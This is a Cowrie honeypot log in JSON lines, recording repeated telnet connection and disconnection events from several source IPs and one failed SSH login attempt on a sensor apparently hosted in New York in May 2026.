{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":38964,"dst_ip":"159.203.135.109","dst_port":23,"session":"40968d936bb3","protocol":"telnet","message":"New connection: 46.101.32.143:38964 (159.203.135.109:23) [session: 40968d936bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.732832Z"}
{"eventid":"cowrie.session.closed","duration":30.70439314842224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.793602Z","src_ip":"168.119.91.149","session":"7c71ab73e87e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99806523323059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.050544Z","src_ip":"147.135.136.77","session":"5e9628b57b47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973529815673828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.067362Z","src_ip":"147.135.136.77","session":"9bfffd3e85c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.555975914001465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.074899Z","src_ip":"81.30.157.18","session":"1968f6473aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55120,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b9df0809c1","protocol":"telnet","message":"New connection: 168.119.91.149:55120 (159.203.135.109:23) [session: 96b9df0809c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.084401Z"}
{"eventid":"cowrie.session.closed","duration":31.02980375289917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.100542Z","src_ip":"46.101.32.143","session":"26ff5bff9c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04827904701233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.114982Z","src_ip":"147.135.136.77","session":"ab3134aa4baa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":39326,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9ef2bf4efe3","protocol":"telnet","message":"New connection: 46.101.32.143:39326 (159.203.135.109:23) [session: c9ef2bf4efe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.152747Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":40768,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe11f9b6dd6a","protocol":"telnet","message":"New connection: 147.135.136.77:40768 (159.203.135.109:23) [session: fe11f9b6dd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.178182Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46638,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ac0b27931ca","protocol":"telnet","message":"New connection: 37.187.24.227:46638 (159.203.135.109:23) [session: 6ac0b27931ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.192896Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51076,"dst_ip":"159.203.135.109","dst_port":23,"session":"d877bfc2554f","protocol":"telnet","message":"New connection: 81.30.157.18:51076 (159.203.135.109:23) [session: d877bfc2554f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.226341Z"}
{"eventid":"cowrie.login.failed","username":"david","password":"davidpass","message":"login attempt [david/davidpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.327198Z","src_ip":"103.228.69.212","session":"be6bb2995f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28619408607483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.446329Z","src_ip":"147.135.136.77","session":"9c907c8a838c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":40788,"dst_ip":"159.203.135.109","dst_port":23,"session":"e57e5b081282","protocol":"telnet","message":"New connection: 147.135.136.77:40788 (159.203.135.109:23) [session: e57e5b081282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:16.508030Z"}
{"eventid":"cowrie.session.closed","duration":30.20377540588379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.033277Z","src_ip":"51.79.21.139","session":"9eca04cdd811","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942837476730347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.056131Z","src_ip":"147.135.136.77","session":"b20f2fd43cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51322,"dst_ip":"159.203.135.109","dst_port":23,"session":"ada317a79c7d","protocol":"telnet","message":"New connection: 81.30.157.18:51322 (159.203.135.109:23) [session: ada317a79c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.060693Z"}
{"eventid":"cowrie.session.closed","duration":30.61771583557129,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.064331Z","src_ip":"149.102.133.101","session":"30be9837ca0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881009817123413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.073102Z","src_ip":"37.187.24.227","session":"6426d804b323","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51372,"dst_ip":"159.203.135.109","dst_port":23,"session":"20e7a128ce1b","protocol":"telnet","message":"New connection: 81.30.157.18:51372 (159.203.135.109:23) [session: 20e7a128ce1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.117967Z"}
{"eventid":"cowrie.session.closed","duration":31.097256898880005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.170125Z","src_ip":"147.135.136.77","session":"597c662fa16f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907874822616577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.184569Z","src_ip":"147.135.136.77","session":"4ef1d7e4f154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742175340652466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.194746Z","src_ip":"37.187.24.227","session":"755ac9886a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51406,"dst_ip":"159.203.135.109","dst_port":23,"session":"184bf1772b49","protocol":"telnet","message":"New connection: 81.30.157.18:51406 (159.203.135.109:23) [session: 184bf1772b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.252946Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55310,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1c9901621e4","protocol":"telnet","message":"New connection: 168.119.91.149:55310 (159.203.135.109:23) [session: d1c9901621e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.328114Z"}
{"eventid":"cowrie.session.closed","duration":30.348801851272583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.475300Z","src_ip":"168.119.91.149","session":"009983463a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.134186506271362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.482561Z","src_ip":"168.119.91.149","session":"0df3aa69c5f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.569292Z","src_ip":"103.228.69.212","session":"be6bb2995f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51492,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ad6f1d6fb8c","protocol":"telnet","message":"New connection: 81.30.157.18:51492 (159.203.135.109:23) [session: 5ad6f1d6fb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.574885Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51634,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eab67f48caa","protocol":"telnet","message":"New connection: 81.30.157.18:51634 (159.203.135.109:23) [session: 7eab67f48caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:17.952842Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51664,"dst_ip":"159.203.135.109","dst_port":23,"session":"a23c614b49d4","protocol":"telnet","message":"New connection: 81.30.157.18:51664 (159.203.135.109:23) [session: a23c614b49d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.035973Z"}
{"eventid":"cowrie.session.closed","duration":30.384299516677856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.044614Z","src_ip":"81.30.157.18","session":"73d2e9063641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960901498794556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.053927Z","src_ip":"81.30.157.18","session":"379ff0d4bade","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946059465408325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.059725Z","src_ip":"37.187.24.227","session":"50efee684949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90988826751709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.086632Z","src_ip":"147.135.136.77","session":"9848818df442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55448,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64bd5d217d5","protocol":"telnet","message":"New connection: 168.119.91.149:55448 (159.203.135.109:23) [session: a64bd5d217d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.136566Z"}
{"eventid":"cowrie.session.closed","duration":31.073976039886475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.145393Z","src_ip":"81.30.157.18","session":"5936af930f27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.241106033325195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.169022Z","src_ip":"81.30.157.18","session":"029d082f40d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51684,"dst_ip":"159.203.135.109","dst_port":23,"session":"2579b23c2855","protocol":"telnet","message":"New connection: 81.30.157.18:51684 (159.203.135.109:23) [session: 2579b23c2855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.175355Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55458,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a97743b4ad","protocol":"telnet","message":"New connection: 168.119.91.149:55458 (159.203.135.109:23) [session: b8a97743b4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.218996Z"}
{"eventid":"cowrie.session.closed","duration":30.36579155921936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.473527Z","src_ip":"168.119.91.149","session":"000e753c7523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07990789413452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.479901Z","src_ip":"168.119.91.149","session":"21efb2038814","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":40848,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6d623414a2a","protocol":"telnet","message":"New connection: 147.135.136.77:40848 (159.203.135.109:23) [session: b6d623414a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.500476Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51744,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d172b1fed68","protocol":"telnet","message":"New connection: 81.30.157.18:51744 (159.203.135.109:23) [session: 2d172b1fed68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.513428Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":40860,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a3e9b11ed14","protocol":"telnet","message":"New connection: 147.135.136.77:40860 (159.203.135.109:23) [session: 0a3e9b11ed14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.560380Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55482,"dst_ip":"159.203.135.109","dst_port":23,"session":"78ad7edf53dd","protocol":"telnet","message":"New connection: 168.119.91.149:55482 (159.203.135.109:23) [session: 78ad7edf53dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.583004Z"}
{"eventid":"cowrie.session.closed","duration":31.311979293823242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.605337Z","src_ip":"147.135.136.77","session":"fa88bc6bcef3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61271333694458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:18.989612Z","src_ip":"168.119.91.149","session":"354b11d2e586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55524,"dst_ip":"159.203.135.109","dst_port":23,"session":"fec20f6b3b29","protocol":"telnet","message":"New connection: 168.119.91.149:55524 (159.203.135.109:23) [session: fec20f6b3b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.007840Z"}
{"eventid":"cowrie.session.closed","duration":30.75081157684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.039459Z","src_ip":"147.135.136.77","session":"cf4334f985c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962903261184692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.048305Z","src_ip":"37.187.24.227","session":"be1fcc8d3cbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88236141204834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.052088Z","src_ip":"37.187.24.227","session":"cd380104a31e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.408958911895752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.059848Z","src_ip":"81.30.157.18","session":"8dce66614d5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07416343688965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.086362Z","src_ip":"147.135.136.77","session":"a1611f011615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053481817245483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.096828Z","src_ip":"147.135.136.77","session":"021d58a00a95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28419041633606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.115269Z","src_ip":"81.30.157.18","session":"613da04d9152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.522565364837646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.133250Z","src_ip":"147.135.136.77","session":"c8d4e264668c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52178,"dst_ip":"159.203.135.109","dst_port":23,"session":"684357452e90","protocol":"telnet","message":"New connection: 168.119.91.149:52178 (159.203.135.109:23) [session: 684357452e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.193697Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":40868,"dst_ip":"159.203.135.109","dst_port":23,"session":"66e1beedd8dc","protocol":"telnet","message":"New connection: 147.135.136.77:40868 (159.203.135.109:23) [session: 66e1beedd8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.200963Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":33744,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ff1ee012f03","protocol":"telnet","message":"New connection: 149.102.133.101:33744 (159.203.135.109:23) [session: 5ff1ee012f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.228087Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52180,"dst_ip":"159.203.135.109","dst_port":23,"session":"20af81ba4e22","protocol":"telnet","message":"New connection: 168.119.91.149:52180 (159.203.135.109:23) [session: 20af81ba4e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.311783Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52182,"dst_ip":"159.203.135.109","dst_port":23,"session":"73e9db21155e","protocol":"telnet","message":"New connection: 168.119.91.149:52182 (159.203.135.109:23) [session: 73e9db21155e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.379016Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52196,"dst_ip":"159.203.135.109","dst_port":23,"session":"46127679616f","protocol":"telnet","message":"New connection: 168.119.91.149:52196 (159.203.135.109:23) [session: 46127679616f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.516430Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52198,"dst_ip":"159.203.135.109","dst_port":23,"session":"97907a1790d0","protocol":"telnet","message":"New connection: 168.119.91.149:52198 (159.203.135.109:23) [session: 97907a1790d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.648911Z"}
{"eventid":"cowrie.session.closed","duration":31.66639471054077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:19.868067Z","src_ip":"81.30.157.18","session":"fe58d352cdf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937565326690674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.045866Z","src_ip":"81.30.157.18","session":"9e9490474b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":43732,"dst_ip":"159.203.135.109","dst_port":23,"session":"92845a826a09","protocol":"telnet","message":"New connection: 46.101.32.143:43732 (159.203.135.109:23) [session: 92845a826a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.073134Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":40900,"dst_ip":"159.203.135.109","dst_port":23,"session":"971bd434ca0f","protocol":"telnet","message":"New connection: 147.135.136.77:40900 (159.203.135.109:23) [session: 971bd434ca0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.173300Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":44032,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a27f941e093","protocol":"telnet","message":"New connection: 46.101.32.143:44032 (159.203.135.109:23) [session: 2a27f941e093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.346190Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":56868,"dst_ip":"159.203.135.109","dst_port":23,"session":"79785660aa18","protocol":"telnet","message":"New connection: 37.187.24.227:56868 (159.203.135.109:23) [session: 79785660aa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.352328Z"}
{"eventid":"cowrie.session.closed","duration":31.34858512878418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.361684Z","src_ip":"37.187.24.227","session":"4336096bc9ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":33764,"dst_ip":"159.203.135.109","dst_port":23,"session":"23fef0339ac3","protocol":"telnet","message":"New connection: 149.102.133.101:33764 (159.203.135.109:23) [session: 23fef0339ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.512905Z"}
{"eventid":"cowrie.session.closed","duration":30.43211841583252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.517649Z","src_ip":"168.119.91.149","session":"c64ce27463a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":52226,"dst_ip":"159.203.135.109","dst_port":23,"session":"057a97aa5d96","protocol":"telnet","message":"New connection: 81.30.157.18:52226 (159.203.135.109:23) [session: 057a97aa5d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.580800Z"}
{"eventid":"cowrie.session.closed","duration":30.29125666618347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.615411Z","src_ip":"168.119.91.149","session":"4f6356f31a1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":52254,"dst_ip":"159.203.135.109","dst_port":23,"session":"9433c02c857a","protocol":"telnet","message":"New connection: 81.30.157.18:52254 (159.203.135.109:23) [session: 9433c02c857a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.680336Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52270,"dst_ip":"159.203.135.109","dst_port":23,"session":"336b50a92b80","protocol":"telnet","message":"New connection: 168.119.91.149:52270 (159.203.135.109:23) [session: 336b50a92b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:20.708649Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":40910,"dst_ip":"159.203.135.109","dst_port":23,"session":"028215d482be","protocol":"telnet","message":"New connection: 147.135.136.77:40910 (159.203.135.109:23) [session: 028215d482be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.035229Z"}
{"eventid":"cowrie.session.closed","duration":31.675453901290894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.042814Z","src_ip":"81.30.157.18","session":"6421fda0989f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52326,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8da6aaf719b","protocol":"telnet","message":"New connection: 168.119.91.149:52326 (159.203.135.109:23) [session: b8da6aaf719b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.072174Z"}
{"eventid":"cowrie.session.closed","duration":31.312920093536377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:21.077497Z","src_ip":"147.135.136.77","session":"3be8b92d7051","protocol":"telnet"}
